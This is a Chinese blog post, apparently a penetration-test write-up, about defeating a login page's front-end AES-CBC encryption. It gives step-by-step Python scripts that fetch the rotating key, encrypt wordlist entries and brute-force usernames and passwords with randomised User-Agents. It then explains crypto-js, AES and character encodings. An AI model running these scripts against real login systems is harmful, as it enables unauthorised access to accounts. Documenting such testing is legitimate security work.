專案記實(一)

zha0gongz1發表於2020-07-09

前言:HW前期,某集團公司為加強安全建設,進行安全測試專案,滲透過程中發現很多問題,這裡不一一記錄。此文僅為記錄針對某處前端AES加密,使用python進行演算法實現,最後達到暴力破解的目的

0x01.分析

這是某人員檔案系統的登入後臺

我們檢視它的網頁原始碼,發現採用AES前端加密方法(估計是疫情期間臨時緊急搭建的平臺)

0x02.設計思路

到/a/k檔案中獲取當前時間的加密字串,作為key值(key每經過30s左右的時間就會更新一次),進入Encrypt函式進行加密

function Encrypt (text,key) {
		let encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(key), {
			iv: CryptoJS.enc.Utf8.parse(key),    #密碼:key;偏移量iv:key;字符集:utf8
			mode: CryptoJS.mode.CBC,    #AES加密模式:CBC
			padding: CryptoJS.pad.Pkcs7   #填充:pkcs7padding
		})

0x03.實現

第一步 請求key值:

import ssl
import urllib.request

ssl._create_default_https_context = ssl._create_unverified_context
data = urllib.request.urlopen('https://xx.xx/a/k/')
text = data.read().decode('utf8')
print(text)

第二步 加密過程實現:

import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def main():
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt('admin')
    print(cipher_text)


if __name__ == '__main__':
    main()

第三步 字典自動化加密過程實現

import ssl
import urllib.request
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def encrypted(password):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt(password)
    print(cipher_text)


if __name__ == '__main__':
    wordList = open('word.txt','r')
    word = wordList.readlines()
    for password_list in word:
        password = password_list.strip()
        encrypted(password)

第四步 構造資料包,傳送網路請求

import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3



class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def encrypted(a):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text = cbc_cipher.encrypt(a)

    brute(cipher_text)


# 暴力破解
def brute(value):

    proxy = {
        "https": "https://127.0.0.1:8080",
    }
    headers = {'Host': 'xx.xx',
               'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1',
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type':'application/x-www-form-urlencoded',
               'Connection': 'close',
               'Content-Length': '75',
               'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
               'Upgrade-Insecure-Requests':'1'}
    values = 'username=%s' % value + '&password=%s' % value
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    requests.post('https://xx.xx/welcome.html', headers=headers, data=values, proxies=proxy,verify=False)


if __name__ == '__main__':
    wordList = open('word.txt','r')
    word = wordList.readlines()
    for password_list in word:
        password = password_list.strip()
        encrypted(password)

第五步:雙字典cluster bomb模式爆破

import ssl
import random
import urllib.request
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import urllib3



class AESCipher(object):

    def __init__(self, key, mode, **kwargs):

        self.key = key
        self.mode = mode
        self.kwargs = kwargs

    def _get_aes(self):
        return AES.new(self.key.encode('utf-8'), self.mode, **self.kwargs)

    def encrypt(self, plain_text):
        # 選擇pkcs7補全
        pad_pkcs7 = pad(plain_text.encode('utf-8'), AES.block_size)
        encrypt_data = self._get_aes().encrypt(pad_pkcs7)
        return str(base64.b64encode(encrypt_data), encoding='utf-8')


def encrypted(a,b):
    ssl._create_default_https_context = ssl._create_unverified_context
    data = urllib.request.urlopen('https://xx.xx/a/k/')
    key = data.read().decode('utf8')

    cbc_cipher = AESCipher(key, mode=AES.MODE_CBC, IV=key[0:16].encode())
    cipher_text1 = cbc_cipher.encrypt(a)
    cipher_text2 = cbc_cipher.encrypt(b)
    brute(cipher_text1,cipher_text2)


# 暴力破解
def brute(value1,value2):
    ua_list = [
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1",
    "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
    "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24",
    "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"]
    proxy = {
        "https": "https://127.0.0.1:8080",
    }
    ua = random.choice(ua_list)
    headers = {'Host': '211.156.195.166',
               'User-Agent': ua,
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
               'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
               'Content-Type':'application/x-www-form-urlencoded',
               'Connection': 'close',
               'Content-Length': '75',
               'Cookie': 'SERVERID=6fc7471579162716fc226f35576678ad|1594108544|1594106534; JSESSIONID=578743B2C805623F9FDAB33F53145798',
               'Upgrade-Insecure-Requests':'1'}
    data = 'username=%s' % value1 + '&password=%s' % value2
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    requests.post('https://xx.xx/welcome.html', headers=headers, data=data, proxies=proxy,verify=False)


if __name__ == '__main__':
    with open('user.txt','r') as userList:
        with open('word.txt','r') as passList:
            for username in userList.readlines():
                for password in passList.readlines():
                    user = username.strip()
                    word = password.strip()
                    encrypted(username,word)
                passList.seek(0)
# 記住這裡要將檔案重新移到檔案首,不然就會出現只執行外層迴圈的第一條,因為內層在迭代之後(readlines()是迭代器的形式,迭代一次後檔案指標就指到檔案尾了,迭代器也是end了,第二次就沒有password 在 passList中
# 也就是說 for password in passList.readlines():為空,所以這裡的內層迴圈就不會再被執行了,因此也就是迭代器清零的問題(C ++ itertor 常有)

成果截圖:

第六步 執行緒

:)加不加執行緒,取決於網站防護,當然,也屬個人愛好,由於手裡還有其他專案,這裡就不贅述了。

:Github上有針對前端加密的自動化暴力破解的burp外掛jsEncrypter ,感興趣的可以去了解下,個人屬實沒玩明白,不做評價。

http://gv7.me/articles/2017/jsEncrypter/?nsukey=4euQnxPbr7mYBEh4c0PjPiuxTlc2Hk59s01x3%2B0ROVFEQ5f7yyx1Z4TijFr1Gkn0ALDGejuNlDjSshCIDmTYB1g1k%2Bt9OREnXhwGQtRCSF6qWLtYx%2BB6tp%2B2QbV%2BkB8Hw5OBey6Mu4PfzaF%2BEdX8RgK%2BN%2B6e23MyN8N%2B5xp1UY8TisnBP2k%2FeB3ixhd7M50a7oyi%2FD41CDp3HHKQ%2Bk4tVQ%3D%3D

0x04.知識介紹

crypto-js AES加密知識

crypto-js 是一個純 javascript 寫的加密演算法類庫 ,可以非常方便地在 javascript 進行MD5SHA1SHA2SHA3RIPEMD-160 雜湊雜湊,進行 AESDESRabbitRC4Triple DES 加解密,我們可以採用 npm install crypto-js --save 進行下載安裝,也可以直接去 GitHub下載原始碼~

高階加密標準(AES,Advanced Encryption Standard)為最常見的對稱加密演算法(微信小程式加密傳輸就是用這個加密演算法的)。對稱加密演算法也就是加密和解密用相同的金鑰,具體的加密流程如下圖:

值得注意的是金鑰的長度,由於對稱解密使用的演算法是 AES-128-CBC演算法,資料採用 PKCS#7 填充 , 因此這裡的 key 需要為16位!

AES加密演算法詳情請參考:https://blog.csdn.net/qq_28205153/article/details/55798628

字符集、字元編碼知識

字元:在計算機和電信技術中,一個字元是一個單位的字形、類字形單位或符號的基本資訊。即一個字元可以是一箇中文漢字、一個英文字母、一個阿拉伯數字、一個標點符號等。

字符集:多個字元的集合。例如GB2312是中國國家標準的簡體中文字符集,GB2312收錄簡化漢字(6763個)及一般符號、序號、數字、拉丁字母、日文假名、希臘字母、俄文字母、漢語拼音符號、漢語注音字母,共 7445 個圖形字元。

字元編碼:把字符集中的字元編碼為(對映)指定集合中的某一物件(例如:位元模式、自然數序列、電脈衝),以便文字在計算機中儲存和通過通訊網路的傳遞。

字符集和字元編碼的關係 :
字符集是書寫系統字母與符號的集合,而字元編碼則是將字元對映為一特定的位元組或位元組序列,是一種規則。通常特定的字符集採用特定的編碼方式(即一種字符集對應一種字元編碼(例如:ASCII、IOS-8859-1、GB2312、GBK,都是即表示了字符集又表示了對應的字元編碼,但Unicode不是,它採用現代的模型)),因此基本上可以將兩者視為同義詞。

字元編碼的常用種類介紹

第一種:ASCII碼

​ ASCII(American Standard Code for Information Interchange,美國資訊交換標準程式碼)是基於拉丁字母的一套電腦編碼系統,主要用於顯示現代英語和其他西歐語言。它是現今最通用的單位元組編碼系統,並等同於國際標準ISO/IEC 646。如下圖所示:

第二種:GBK 和 GB2312

 對於我們來說能在計算機中顯示中文字元是至關重要的,然而ASCII表裡連一個偏旁部首也沒有。所以我們還需要一張關於中文和數字對應的關係表。一個位元組只能最多表示256個字元,要處理中文顯然一個位元組是不夠的,所以我們需要採用兩個位元組來表示,而且還不能和ASCII編碼衝突,所以,中國製定了GB2312編碼,用來把中文編進去。

第三種:Unicode

 但這樣的話,就會出現一個問題,各個國家都一套自己的編碼,就不可避免會有衝突,這是該怎麼辦呢?

 因此,Unicode應運而生。Unicode把所有語言都統一到一套編碼裡,這樣就不會再有亂碼問題了。

 Unicode標準也在不斷髮展,但最常用的是用兩個位元組表示一個字元(如果要用到非常偏僻的字元,就需要4個位元組)。現代作業系統和大多數程式語言都直接支援Unicode。   

 現在,分析一下ASCII編碼和Unicode編碼的區別:

  • ASCII編碼是1個位元組,而Unicode編碼通常是2個位元組。
  • 字母A用ASCII編碼是十進位制的65,二進位制的01000001;
  • 字元0用ASCII編碼是十進位制的48,二進位制的00110000;
  • 漢字“中”已經超出了ASCII編碼的範圍,用Unicode編碼是十進位制的20013,二進位制的01001110 00101101。
  • 如果把ASCII編碼的A用Unicode編碼,只需要在前面補0就可以,因此,A的Unicode編碼是00000000 01000001。
  • 但如果統一成Unicode編碼,亂碼問題從此消失了。但是,如果你寫的文字基本上全部是英文的話,用Unicode編碼比ASCII編碼需要多一倍的儲存空間,在儲存和傳輸上就十分不划算。

第四種:UTF-8

  基於節約的原則,出現了把Unicode編碼轉化為“可變長編碼”的UTF-8編碼。UTF-8編碼把一個Unicode字元根據不同的數字大小編碼成1-6個位元組,常用的英文字母被編碼成1個位元組,漢字通常是3個位元組,只有很生僻的字元才會被編碼成4-6個位元組。如果你要傳輸的文字包含大量英文字元,用UTF-8編碼就能節省空間了。如下所示:

 從上面的表格還可以發現,UTF-8編碼有一個額外的好處,就是ASCII編碼實際上可以被看成是UTF-8編碼的一部分,所以,大量只支援ASCII編碼的歷史遺留軟體可以在UTF-8編碼下繼續工作。

我們總結一下現在計算機系統通用的字元編碼工作方式:

  在計算機記憶體中,統一使用Unicode編碼,當需要儲存到硬碟或者需要傳輸的時候,就轉換為UTF-8編碼。

  用記事本編輯的時候,從檔案讀取的UTF-8字元被轉換為Unicode字元到記憶體裡,編輯完成後,儲存的時候再把Unicode轉換為UTF-8儲存到檔案。如下圖:

0x05.說明

文章是寫程式碼之餘做筆記來的,略顯簡略粗糙。程式碼不夠精簡之處,請各位python巨佬多多指教,評論區多多留言,拜謝!

Reference

https://blog.csdn.net/qq_28205153/article/details/55798628
https://ww.pythontab.com/html/2013/pythonhexinbiancheng_1218/631.html

相關文章